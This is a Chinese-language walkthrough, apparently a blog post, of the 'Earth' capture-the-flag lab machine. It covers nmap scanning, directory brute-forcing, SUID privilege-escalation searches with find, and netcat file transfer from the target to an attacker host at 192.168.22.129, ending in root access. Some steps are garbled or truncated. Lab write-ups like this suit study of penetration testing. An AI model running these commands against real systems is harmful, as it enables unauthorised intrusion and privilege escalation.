earth
Last updated on 6 months ago
earth
ip发现
(攻击机和靶机都使用nat模式,保证处于同一ip段)
ifconfig
发现攻击机ip段为192.168.22
使用nmap -sP 192.168.22.1/24
-sP scan ping
使用ping扫描网段,仅查看哪些网段内哪些主机在线,不查看端口,速度更快
192.168.22.1/24
192.168.22是网段,129代表着攻击机,而靶机也处于同一网段,所以此时网关为255.255.255.0,换算成2进制就是24个1和8个0,/24就代表着网关为255.255.255.0,所以192.168.22此时为主机号,nmap会只扫描192.168.22.1 - 192.168.22.254这些主机(0作为网络地址,不可用于主机段,255用于广播地址,同样不能用于主机地址)(192.168.22.1的1可以更改为任何一个数字,因为有/24,所以会全部扫完)
发现靶机ip为132
基础信息发现
namp -A 192.168.22.132
-A
会执行以下扫描
- ping扫描
- 端口扫描
- OS扫描(猜测目标主机操作系统)
- 版本检测
端口发现
靶机现在开放了-22(ssh原创登录)端口,-80(http协议端口),-443(https)协议端口
DNS解析
用了两个DNS服务器
OS发现
靶机运行的是linux系统
添加本地DNS
(有些情况可能只允许域名访问而不允许ip地址访问,所以这一步是有必要的)
vim /etc/hosts
按i进行输入
192.168.22.132 earth.local terratest.earth.local
按esc退出
:wq保存(write quit)
接着就可以在网页访问earth.local了
(1)dirb(Directory Bruteforcing)
目录枚举工具
dirb http://earth.local
发现有admin和cgi-bin两个文件夹(只能找到顶级文件夹,比如admin内还有login文件夹,因为不是顶级,所以扫不出来)
因为-80和-443端口都开放了,所以http https earth.local terratest.earth.local 都要扫一遍
(2)gobuster
dirb每次只能一个网站一个网站扫,过于繁琐,所以使用gobuster来扫描,http和https最好分开扫描
gobuster dir -u https://earth.local -u https://terratest.earth.local -k -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt
gobuster dir -u http://earth.local -u http://terratest.earth.local -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt
gobuster dir -u <url> -k(如果有https则需要加上-k) -w <字典路径>
在https扫出了相对有用的,index.html进去是一句话,而robots.txt进去是目录,在最下面一行找到可能有用的
文件名是testingnotes.* *是通配符,需要猜测后缀,一般可能为
- .md
- .txt
- .dox
- .html
- .php
这里后缀为.txt
第二行使用XOR encryption(异或加密算法)
第四行testdata.txt是被用来测试加密的
todo上方一行表明earth靶机的用户名是terra
下载testdata.txt
因为是https,未经过验证ssl证书,所以使用wget直接下载的情况
1 |
|
find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
网上搜到的两种搜索提权文件的代码
find [范围] [选项] (范围可不写)
#### 1.find / -user root -perm /4000 2>/dev/null
<ol>
<li>/</li>范围在根目录
<li>-user root</li>选定属主为root
<li>-perm /4000</li>permission意味权限,-perm后面要带有具体范围,/4000是SUID的八进制位形式
<ul>
<li>属主</li>文件或目录的创始者
<li>属组</li>一种权限分划方式,同一个属组内的用户可以共享文件的读写删改操作权限,比如a,b,c三个用户,a,b为一个属组,c不属于a,b的属组,a创建了一个文件,b具有跟a等同的对该文件操作的权力,而c没有(注意普通用户跟root用户同一属组时不具备root的权限)
<li>SUID</li>Set User Id,当一个目录或文件具有SUID时,代表该文件在执行时可以允许普通用户拥有root权限
</ul>
所以第二条和第三条联合起来就是查找root用户创建的文件,并且该文件可以让低权限用户使用root权限
<li>2>/dev/null</li> >是重定向符号,让报错信息输入到/dev/null中
<ul>
<li>0</li>标准输入(Stdin):文件描述符为 0,使用 < 重定向
<li>1</li>标准输出(Stdout):文件描述符为 1,使用 > 重定向
<li>2</li>标准错误输出(Stderr):文件描述符为 2,使用 2> 重定向
<li>/dev/null</li>/dev/null 是 Linux 中的一个特殊文件,写入到它的内容都会被丢弃。
</ul>
所以该命令效果是不显示报错信息
</ol>
#### 2.find / -perm -u=s -type f 2>/dev/null
-u=s和-u /4000等效 s就是suid
-type代表筛选文件类型,f是regular file,即普通文件
#### 传输文件
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607210637.png)
发现reset_root,但是报错,直接打开是乱码
strings /usr/bin/reset_root 把二进制文件转化成可阅读文本
发现该文件将更改密码为earth
这个文件发送到攻击机进行分析
##### 攻击机
开端口 nc -nlvp 1234 > reset_root 开启1234端口,创建名为reset_root的文件接受数据(-n是不进行dns查询)
##### 靶机
nc 192.168.22.129 1234 < /usr/bin/reset_root
#### 执行
chmod +x reset_root change mode更改文件权限,x是execute,即将该文件修改为允许执行的文件
ltrace ./reset_root (library trace库追踪)即追踪执行这个文件需要调用什么样的动态库(函数)
(这里用strace更好点,"strace" 中的 "s",它代表的是 "system calls"(系统调用)。strace 工具的主要功能就是追踪程序执行期间发生的系统调用,以及这些调用的参数和返回值。它可以捕获程序与操作系统之间的交互,包括文件操作、网络通信、进程管理等系统调用。)
(这里有坑,我是在桌面新建了一个文件夹用于接收该文件,为了方便我进文件夹后右键在该位置打开终端,但是直接用ltrace rest_root会报错,用./reset_root就可以, ./ 代表着当前文件夹的路径,这里很怪,注意一下吧)
应该就是靶机上没有这三个文件,所以创建一下(touch创建)
创建完后发现root密码是Earth,su Earth升级权限(这里输入密码没有被隐藏,搞得我还以为有啥问题)
whoami 此时为root
继续find root_flag